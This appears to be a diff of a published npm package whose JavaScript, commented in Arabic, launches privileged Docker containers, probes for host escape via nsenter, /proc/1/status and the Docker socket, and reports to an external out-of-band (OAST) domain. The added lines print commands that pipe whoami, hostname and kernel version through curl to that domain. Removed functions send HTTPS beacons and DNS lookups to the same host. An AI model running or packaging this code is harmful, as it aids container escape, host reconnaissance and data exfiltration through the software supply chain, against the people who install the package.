exec(command, { timeout: 10000 }, (error, stdout, stderr) => {
|
|
642
|
-
if (error) {
|
|
643
|
-
reject(error);
|
|
644
|
-
} else {
|
|
645
|
-
resolve(stdout);
|
|
646
|
-
}
|
|
647
|
-
});
|
|
648
|
-
});
|
|
649
|
-
}
|
|
650
|
-
}
|
|
83
|
+
3. إرسال معلومات سريعة (مثال):
|
|
84
|
+
whoami | curl -d @- "https://${OAST_DOMAIN}/whoami?session=${sessionId}"
|
|
651
85
|
|
|
652
|
-
|
|
653
|
-
|
|
654
|
-
console.log('🚀 Running simple privileged container with OAST reporting...\n');
|
|
655
|
-
|
|
656
|
-
const containerName = `simple-priv-${Date.now()}`;
|
|
657
|
-
const sessionId = `simple-${Date.now()}-${crypto.randomBytes(4).toString('hex')}`;
|
|
658
|
-
|
|
659
|
-
// إرسال بداية الجلسة
|
|
660
|
-
const startReq = https.request({
|
|
661
|
-
hostname: CONFIG.OAST.domain,
|
|
662
|
-
port: CONFIG.OAST.httpsPort,
|
|
663
|
-
path: '/simple-start',
|
|
664
|
-
method: 'POST',
|
|
665
|
-
headers: {
|
|
666
|
-
'Content-Type': 'application/json',
|
|
667
|
-
'X-Session-ID': sessionId
|
|
668
|
-
}
|
|
669
|
-
});
|
|
670
|
-
|
|
671
|
-
startReq.write(JSON.stringify({
|
|
672
|
-
action: 'simple_container_start',
|
|
673
|
-
containerName: containerName,
|
|
674
|
-
timestamp: new Date().toISOString()
|
|
675
|
-
}));
|
|
676
|
-
startReq.end();
|
|
677
|
-
|
|
678
|
-
// تشغيل الحاوية
|
|
679
|
-
const dockerArgs = [
|
|
680
|
-
'run',
|
|
681
|
-
'--privileged',
|
|
682
|
-
'--name', containerName,
|
|
683
|
-
'--rm',
|
|
684
|
-
CONFIG.DOCKER.image,
|
|
685
|
-
'sh', '-c',
|
|
686
|
-
`
|
|
687
|
-
echo "=== PRIVILEGED CONTAINER STARTED ==="
|
|
688
|
-
echo "Session: ${sessionId}"
|
|
689
|
-
echo "Hostname: $(hostname)"
|
|
690
|
-
echo "User: $(whoami)"
|
|
691
|
-
echo "=== TESTING ESCAPE ==="
|
|
692
|
-
|
|
693
|
-
# Test nsenter
|
|
694
|
-
which nsenter && echo "nsenter: AVAILABLE" || echo "nsenter: NOT_AVAILABLE"
|
|
695
|
-
|
|
696
|
-
# Test host access
|
|
697
|
-
cat /proc/1/status 2>/dev/null | head -2 && echo "Host proc: ACCESSIBLE" || echo "Host proc: NO_ACCESS"
|
|
698
|
-
|
|
699
|
-
# Send DNS notification
|
|
700
|
-
nslookup ${sessionId}.simple-test.${CONFIG.OAST.domain} 2>/dev/null || echo "DNS test"
|
|
701
|
-
|
|
702
|
-
echo "=== CONTAINER COMPLETE ==="
|
|
703
|
-
`
|
|
704
|
-
];
|
|
705
|
-
|
|
706
|
-
console.log(`Running: docker ${dockerArgs.join(' ')}`);
|
|
707
|
-
|
|
708
|
-
const dockerProcess = spawn('docker', dockerArgs, { stdio: 'inherit' });
|
|
709
|
-
|
|
710
|
-
dockerProcess.on('close', (code) => {
|
|
711
|
-
console.log(`\n✅ Container exited with code: ${code}`);
|
|
712
|
-
|
|
713
|
-
// إرسال إشعار الانتهاء
|
|
714
|
-
const endReq = https.request({
|
|
715
|
-
hostname: CONFIG.OAST.domain,
|
|
716
|
-
port: CONFIG.OAST.httpsPort,
|
|
717
|
-
path: '/simple-end',
|
|
718
|
-
method: 'POST',
|
|
719
|
-
headers: {
|
|
720
|
-
'Content-Type': 'application/json',
|
|
721
|
-
'X-Session-ID': sessionId
|
|
722
|
-
}
|
|
723
|
-
});
|
|
724
|
-
|
|
725
|
-
endReq.write(JSON.stringify({
|
|
726
|
-
action: 'simple_container_end',
|
|
727
|
-
exitCode: code,
|
|
728
|
-
timestamp: new Date().toISOString()
|
|
729
|
-
}));
|
|
730
|
-
endReq.end();
|
|
731
|
-
|
|
732
|
-
console.log(`\n📡 Check OAST for interactions: ${CONFIG.OAST.domain}`);
|
|
733
|
-
console.log(`🔑 Session ID: ${sessionId}`);
|
|
734
|
-
});
|
|
735
|
-
}
|
|
86
|
+
4. إرسال hostname + kernel:
|
|
87
|
+
(echo "host=$(hostname) kernel=$(uname -r)" | curl -d @- "https://${OAST_DOMAIN}/info?session=${sessionId}") || true
|
|
736
88
|
|
|
737
|
-
|
|
738
|
-
|
|
739
|
-
|
|
740
|
-
console.log(`📡 OAST Domain: ${CONFIG.OAST.domain}`);
|
|
741
|
-
console.log(`🔑 Session ID: ${CONFIG.OAST.sessionId}\n`);
|
|
742
|
-
|
|
743
|
-
// إرسال إشعار البدء
|
|
744
|
-
const req = https.request({
|
|
745
|
-
hostname: CONFIG.OAST.domain,
|
|
746
|
-
port: CONFIG.OAST.httpsPort,
|
|
747
|
-
path: '/interactive-start',
|
|
748
|
-
method: 'POST',
|
|
749
|
-
headers: {
|
|
750
|
-
'Content-Type': 'application/json',
|
|
751
|
-
'X-Session-ID': CONFIG.OAST.sessionId
|
|
752
|
-
}
|
|
753
|
-
});
|
|
754
|
-
|
|
755
|
-
req.write(JSON.stringify({
|
|
756
|
-
action: 'interactive_container_start',
|
|
757
|
-
timestamp: new Date().toISOString(),
|
|
758
|
-
command: 'docker run --privileged -it ubuntu:latest /bin/bash'
|
|
759
|
-
}));
|
|
760
|
-
req.end();
|
|
761
|
-
|
|
762
|
-
// تشغيل الحاوية التفاعلية
|
|
763
|
-
console.log('💻 Starting interactive bash session...');
|
|
764
|
-
console.log(' You can test commands manually.');
|
|
765
|
-
console.log(' Try these commands to test escape:');
|
|
766
|
-
console.log(' - nsenter --target 1 --mount -- sh -c "hostname"');
|
|
767
|
-
console.log(' - cat /proc/1/status');
|
|
768
|
-
console.log(' - ls -la /var/run/docker.sock');
|
|
769
|
-
console.log(' - nslookup test.${CONFIG.OAST.sessionId}.${CONFIG.OAST.domain}\n');
|
|
770
|
-
|
|
771
|
-
const dockerProcess = spawn('docker', [
|
|
772
|
-
'run',
|
|
773
|
-
'--privileged',
|
|
774
|
-
'-it',
|
|
775
|
-
'--name', `interactive-${CONFIG.OAST.sessionId}`,
|
|
776
|
-
CONFIG.DOCKER.image,
|
|
777
|
-
CONFIG.DOCKER.command
|
|
778
|
-
], {
|
|
779
|
-
stdio: 'inherit'
|
|
780
|
-
});
|
|
781
|
-
|
|
782
|
-
dockerProcess.on('close', (code) => {
|
|
783
|
-
console.log(`\n🔚 Container exited with code: ${code}`);
|
|
784
|
-
|
|
785
|
-
// إرسال إشعار الانتهاء
|
|
786
|
-
const endReq = https.request({
|
|
787
|
-
hostname: CONFIG.OAST.domain,
|
|
788
|
-
port: CONFIG.OAST.httpsPort,
|
|
789
|
-
path: '/interactive-end',
|
|
790
|
-
method: 'POST',
|
|
791
|
-
headers: {
|
|
792
|
-
'Content-Type': 'application/json',
|
|
793
|
-
'X-Session-ID': CONFIG.OAST.sessionId
|
|
794
|
-
}
|
|
795
|
-
});
|
|
796
|
-
|
|
797
|
-
endReq.write(JSON.stringify({
|
|
798
|
-
action: 'interactive_container_end',
|
|
799
|
-
exitCode: code,
|
|
800
|
-
timestamp: new Date().toISOString()
|
|
801
|
-
}));
|
|
802
|
-
endReq.end();
|
|
803
|
-
|
|
804
|
-
// تنظيف
|
|
805
|
-
exec(`docker rm interactive-${CONFIG.OAST.sessionId} 2>/dev/null || true`);
|
|
806
|
-
|
|
807
|
-
console.log(`\n📡 Check OAST interactions at: ${CONFIG.OAST.domain}`);
|
|
808
|
-
console.log(`🔑 Use Session ID: ${CONFIG.OAST.sessionId}`);
|
|
809
|
-
});
|
|
810
|
-
|
|
811
|
-
// التعامل مع Ctrl+C
|
|
812
|
-
process.on('SIGINT', () => {
|
|
813
|
-
console.log('\n\n⚠️ Received Ctrl+C, cleaning up...');
|
|
814
|
-
dockerProcess.kill('SIGINT');
|
|
815
|
-
});
|
|
816
|
-
}
|
|
89
|
+
ملاحظة: ubuntu:latest قد لا تحتوي curl افتراضياً في بعض الإصدارات المصغرة.
|
|
90
|
+
إذا لم يعمل curl → جرب:
|
|
91
|
+
apt update && apt install -y curl 2>/dev/null || true
|
|
817
92
|
|
|
818
|
-
|
|
819
|
-
|
|
820
|
-
console.log('🎯 Choose scanning method:');
|
|
821
|
-
console.log(' 1. Full analysis with automated scanning and OAST reporting');
|
|
822
|
-
console.log(' 2. Simple container with basic OAST reporting');
|
|
823
|
-
console.log(' 3. Interactive privileged container (docker run --privileged -it ubuntu:latest /bin/bash)');
|
|
824
|
-
console.log(' 4. Exit');
|
|
825
|
-
|
|
826
|
-
const readline = require('readline').createInterface({
|
|
827
|
-
input: process.stdin,
|
|
828
|
-
output: process.stdout
|
|
829
|
-
});
|
|
830
|
-
|
|
831
|
-
readline.question('\nSelect option: ', async (choice) => {
|
|
832
|
-
readline.close();
|
|
833
|
-
|
|
834
|
-
switch(choice.trim()) {
|
|
835
|
-
case '1':
|
|
836
|
-
const scanner = new PrivilegedContainerScanner();
|
|
837
|
-
await scanner.run();
|
|
838
|
-
break;
|
|
839
|
-
|
|
840
|
-
case '2':
|
|
841
|
-
runSimplePrivilegedWithOAST();
|
|
842
|
-
break;
|
|
843
|
-
|
|
844
|
-
case '3':
|
|
845
|
-
runInteractivePrivileged();
|
|
846
|
-
break;
|
|
847
|
-
|
|
848
|
-
default:
|
|
849
|
-
console.log('👋 Exiting');
|
|
850
|
-
process.exit(0);
|
|
851
|
-
}
|
|
852
|
-
});
|
|
853
|
-
}
|
|
93
|
+
جاري التشغيل...
|
|
94
|
+
`);
|
|
854
95
|
|
|
855
|
-
//
|
|
856
|
-
|
|
857
|
-
|
|
858
|
-
|
|
859
|
-
|
|
860
|
-
|
|
861
|
-
|
|
862
|
-
|
|
863
|
-
|
|
864
|
-
|
|
865
|
-
|
|
866
|
-
|
|
867
|
-
|
|
868
|
-
|
|
869
|
-
|
|
870
|
-
|
|
871
|
-
|
|
872
|
-
|
|
873
|
-
|
|
874
|
-
|
|
875
|
-
|
|
876
|
-
|
|
877
|
-
|
|
878
|
-
|
|
96
|
+
// ────────────────────────────────────────────────
|
|
97
|
+
|
|
98
|
+
const dockerArgs = [
|
|
99
|
+
'run',
|
|
100
|
+
'--privileged',
|
|
101
|
+
'-it',
|
|
102
|
+
'--rm',
|
|
103
|
+
'--name', `priv-test-${sessionId.slice(0,12)}`,
|
|
104
|
+
'ubuntu:latest',
|
|
105
|
+
'/bin/bash'
|
|
106
|
+
];
|
|
107
|
+
|
|
108
|
+
const container = spawn('docker', dockerArgs, {
|
|
109
|
+
stdio: 'inherit'
|
|
110
|
+
});
|
|
111
|
+
|
|
112
|
+
container.on('error', (err) => {
|
|
113
|
+
console.error(`خطأ في تشغيل docker: ${err.message}`);
|
|
114
|
+
process.exit(1);
|
|
115
|
+
});
|
|
116
|
+
|
|
117
|
+
container.on('close', (code) => {
|
|
118
|
+
console.log(`\nالحاوية انتهت (exit code: ${code})\n`);
|
|
119
|
+
|
|
120
|
+
// إشارة نهاية
|
|
121
|
+
sendSimpleHttpsBeacon('/end', {
|
|
122
|
+
action: 'container_exited',
|
|
123
|
+
exit_code: code
|
|
879
124
|
});
|
|
880
|
-
}
|
|
881
125
|
|
|
882
|
-
|
|
126
|
+
console.log(`\nتحقق من لوحة الـ OAST الخاصة بك على:\n`);
|
|
127
|
+
console.log(` https://${OAST_DOMAIN}`);
|
|
128
|
+
console.log(` ابحث عن: ${sessionId}\n`);
|
|
129
|
+
console.log(`أو subdomain: ${uniqueSub}.${sessionId}.${OAST_DOMAIN}\n`);
|
|
130
|
+
});
|
|
131
|
+
|
|
132
|
+
// التعامل مع Ctrl+C
|
|
133
|
+
process.on('SIGINT', () => {
|
|
134
|
+
console.log('\nإغلاق... (Ctrl+C مرة أخرى للخروج فوراً)');
|
|
135
|
+
container.kill('SIGINT');
|
|
136
|
+
setTimeout(() => process.exit(0), 1500);
|
|
137
|
+
});
|
|
Binary file
|
package/rank4222wun-1.0.37.tgz
DELETED
|
Binary file
|